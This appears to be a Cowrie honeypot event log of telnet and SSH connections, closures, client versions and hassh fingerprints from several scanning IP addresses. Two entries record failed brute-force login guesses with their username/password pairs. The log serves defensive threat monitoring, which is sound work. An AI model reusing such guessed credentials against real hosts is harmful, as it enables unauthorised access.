{"eventid":"cowrie.session.closed","duration":31.229156970977783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:38.302914Z","src_ip":"146.19.248.24","session":"b6537b595ea9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":54478,"dst_ip":"159.203.135.109","dst_port":23,"session":"4579a7026e50","protocol":"telnet","message":"New connection: 146.19.248.24:54478 (159.203.135.109:23) [session: 4579a7026e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:39.081658Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":54480,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7d6b1744861","protocol":"telnet","message":"New connection: 146.19.248.24:54480 (159.203.135.109:23) [session: f7d6b1744861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:39.848825Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":54484,"dst_ip":"159.203.135.109","dst_port":23,"session":"de34460cb9fe","protocol":"telnet","message":"New connection: 146.19.248.24:54484 (159.203.135.109:23) [session: de34460cb9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:39.889818Z"}
{"eventid":"cowrie.session.closed","duration":31.448007106781006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:40.522764Z","src_ip":"146.19.248.24","session":"9f2b91cbe3da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.262498378753662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:40.553729Z","src_ip":"146.19.248.24","session":"66163f3a7e54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.171048641204834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:40.654598Z","src_ip":"146.19.248.24","session":"4f78dc0caab0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.53321290016174,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:41.037162Z","src_ip":"139.162.207.207","session":"7add24a0a3f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14482855796814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:41.130978Z","src_ip":"146.19.248.24","session":"ad83e13cd195","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":54486,"dst_ip":"159.203.135.109","dst_port":23,"session":"73676b5fcd25","protocol":"telnet","message":"New connection: 146.19.248.24:54486 (159.203.135.109:23) [session: 73676b5fcd25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:41.312681Z"}
{"eventid":"cowrie.session.closed","duration":33.56438899040222,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:41.436348Z","src_ip":"209.126.87.217","session":"f89227cdaef8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":54488,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a1e348ddcfa","protocol":"telnet","message":"New connection: 146.19.248.24:54488 (159.203.135.109:23) [session: 3a1e348ddcfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:41.567927Z"}
{"eventid":"cowrie.session.closed","duration":30.811562299728394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:42.152808Z","src_ip":"146.19.248.24","session":"79237258fc40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":54500,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3c782547081","protocol":"telnet","message":"New connection: 146.19.248.24:54500 (159.203.135.109:23) [session: b3c782547081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:43.911588Z"}
{"eventid":"cowrie.session.closed","duration":31.2612566947937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:43.985603Z","src_ip":"146.19.248.24","session":"523aa10ce52c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.02756929397583,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:44.379462Z","src_ip":"139.162.207.207","session":"811925ccafa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":52522,"dst_ip":"159.203.135.109","dst_port":23,"session":"58081bb57c67","protocol":"telnet","message":"New connection: 136.144.203.5:52522 (159.203.135.109:23) [session: 58081bb57c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:47.103822Z"}
{"eventid":"cowrie.session.closed","duration":30.938868045806885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:47.177801Z","src_ip":"146.19.248.24","session":"7056ab30eea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":58796,"dst_ip":"159.203.135.109","dst_port":22,"session":"deba8a9e845d","protocol":"ssh","message":"New connection: 37.143.61.130:58796 (159.203.135.109:22) [session: deba8a9e845d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:50.598428Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":54550,"dst_ip":"159.203.135.109","dst_port":23,"session":"387912f66067","protocol":"telnet","message":"New connection: 136.144.203.5:54550 (159.203.135.109:23) [session: 387912f66067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:51.253711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:51.801913Z","src_ip":"37.143.61.130","session":"deba8a9e845d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.299052715301514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:52.032361Z","src_ip":"146.19.248.24","session":"0c44af91f08f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.576849699020386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:52.744593Z","src_ip":"103.157.135.60","session":"1c85bec052d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":40848,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cf2331da2a6","protocol":"telnet","message":"New connection: 139.162.207.207:40848 (10.17.0.5:23) [session: 0cf2331da2a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:52.989321Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:53.094356Z","src_ip":"37.143.61.130","session":"deba8a9e845d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":42476,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b1d034c9621","protocol":"telnet","message":"New connection: 146.19.248.24:42476 (159.203.135.109:23) [session: 0b1d034c9621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:54.630618Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":56612,"dst_ip":"159.203.135.109","dst_port":23,"session":"334e401076ea","protocol":"telnet","message":"New connection: 136.144.203.5:56612 (159.203.135.109:23) [session: 334e401076ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:55.314431Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":42480,"dst_ip":"159.203.135.109","dst_port":23,"session":"442e31256866","protocol":"telnet","message":"New connection: 146.19.248.24:42480 (159.203.135.109:23) [session: 442e31256866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:55.648789Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":36164,"dst_ip":"10.17.0.5","dst_port":23,"session":"6797cedc9061","protocol":"telnet","message":"New connection: 103.157.135.60:36164 (10.17.0.5:23) [session: 6797cedc9061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:56.222272Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":57006,"dst_ip":"159.203.135.109","dst_port":23,"session":"956451bb509e","protocol":"telnet","message":"New connection: 136.144.203.5:57006 (159.203.135.109:23) [session: 956451bb509e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:56.289019Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:56.696756Z","src_ip":"37.143.61.130","session":"deba8a9e845d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":47340,"dst_ip":"10.17.0.5","dst_port":22,"session":"8179ecdd3c21","protocol":"ssh","message":"New connection: 80.94.92.182:47340 (10.17.0.5:22) [session: 8179ecdd3c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:57.030985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:57.143563Z","src_ip":"80.94.92.182","session":"8179ecdd3c21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:57.148029Z","src_ip":"80.94.92.182","session":"8179ecdd3c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":46478,"dst_ip":"159.203.135.109","dst_port":23,"session":"907dcfb5e8fd","protocol":"telnet","message":"New connection: 146.19.248.24:46478 (159.203.135.109:23) [session: 907dcfb5e8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:57.179012Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":46480,"dst_ip":"159.203.135.109","dst_port":23,"session":"879532e8329a","protocol":"telnet","message":"New connection: 146.19.248.24:46480 (159.203.135.109:23) [session: 879532e8329a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:57.960828Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:58.097058Z","src_ip":"80.94.92.182","session":"8179ecdd3c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.046823740005493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:58.363244Z","src_ip":"146.19.248.24","session":"7b14693c2987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":46492,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b1c2819dbbc","protocol":"telnet","message":"New connection: 146.19.248.24:46492 (159.203.135.109:23) [session: 8b1c2819dbbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:58.519598Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41956,"dst_ip":"159.203.135.109","dst_port":22,"session":"36f9b0f3b4a7","protocol":"ssh","message":"New connection: 159.203.92.129:41956 (159.203.135.109:22) [session: 36f9b0f3b4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:59.227067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:59.238240Z","src_ip":"159.203.92.129","session":"36f9b0f3b4a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:59.244449Z","src_ip":"159.203.92.129","session":"36f9b0f3b4a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"akflsj08","message":"login attempt [ansible/akflsj08] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:59.270590Z","src_ip":"159.203.92.129","session":"36f9b0f3b4a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:45:59.281584Z","src_ip":"80.94.92.182","session":"8179ecdd3c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":47362,"dst_ip":"10.17.0.5","dst_port":23,"session":"05a794b80803","protocol":"telnet","message":"New connection: 139.162.207.207:47362 (10.17.0.5:23) [session: 05a794b80803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:00.111275Z"}
{"eventid":"cowrie.session.closed","duration":31.124905586242676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:00.151987Z","src_ip":"146.19.248.24","session":"8eef6a0fc1c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:00.295312Z","src_ip":"159.203.92.129","session":"36f9b0f3b4a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.243226766586304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:00.670561Z","src_ip":"146.19.248.24","session":"88808f9f33f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":46506,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8210bfc2c6a","protocol":"telnet","message":"New connection: 146.19.248.24:46506 (159.203.135.109:23) [session: d8210bfc2c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:01.952195Z"}
{"eventid":"cowrie.session.closed","duration":42.570568561553955,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:04.582361Z","src_ip":"139.162.207.207","session":"a41786cbf4b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":46520,"dst_ip":"159.203.135.109","dst_port":23,"session":"f65ee4e40073","protocol":"telnet","message":"New connection: 146.19.248.24:46520 (159.203.135.109:23) [session: f65ee4e40073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:06.354166Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":48424,"dst_ip":"10.17.0.5","dst_port":23,"session":"08e5ee975a81","protocol":"telnet","message":"New connection: 139.162.207.207:48424 (10.17.0.5:23) [session: 08e5ee975a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:07.767905Z"}
{"eventid":"cowrie.session.closed","duration":31.7667818069458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:07.863432Z","src_ip":"146.19.248.24","session":"edd610eb649a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":54790,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7c54cbf6cdc","protocol":"telnet","message":"New connection: 103.157.135.60:54790 (10.17.0.5:23) [session: f7c54cbf6cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:08.172688Z"}
{"eventid":"cowrie.session.closed","duration":31.662638425827026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:08.672249Z","src_ip":"146.19.248.24","session":"eb6ca77e4f0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42777156829834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:09.668295Z","src_ip":"146.19.248.24","session":"c119520f928a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.167984008789062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:10.057683Z","src_ip":"146.19.248.24","session":"de34460cb9fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.267574787139893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:10.116285Z","src_ip":"146.19.248.24","session":"f7d6b1744861","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.599027156829834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:10.680610Z","src_ip":"146.19.248.24","session":"4579a7026e50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736292839050293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:12.048878Z","src_ip":"146.19.248.24","session":"73676b5fcd25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.262977838516235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:12.830907Z","src_ip":"146.19.248.24","session":"3a1e348ddcfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":56526,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b4a9f121406","protocol":"telnet","message":"New connection: 146.19.248.24:56526 (159.203.135.109:23) [session: 5b4a9f121406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:13.485766Z"}
{"eventid":"cowrie.session.closed","duration":30.66563081741333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:14.577115Z","src_ip":"146.19.248.24","session":"b3c782547081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.258699893951416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:18.362421Z","src_ip":"136.144.203.5","session":"58081bb57c67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":42258,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3b69d7380de","protocol":"telnet","message":"New connection: 136.144.203.5:42258 (159.203.135.109:23) [session: d3b69d7380de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:21.148477Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":39954,"dst_ip":"159.203.135.109","dst_port":23,"session":"da54d0690a47","protocol":"telnet","message":"New connection: 146.19.248.24:39954 (159.203.135.109:23) [session: da54d0690a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:46:21.593235Z"}
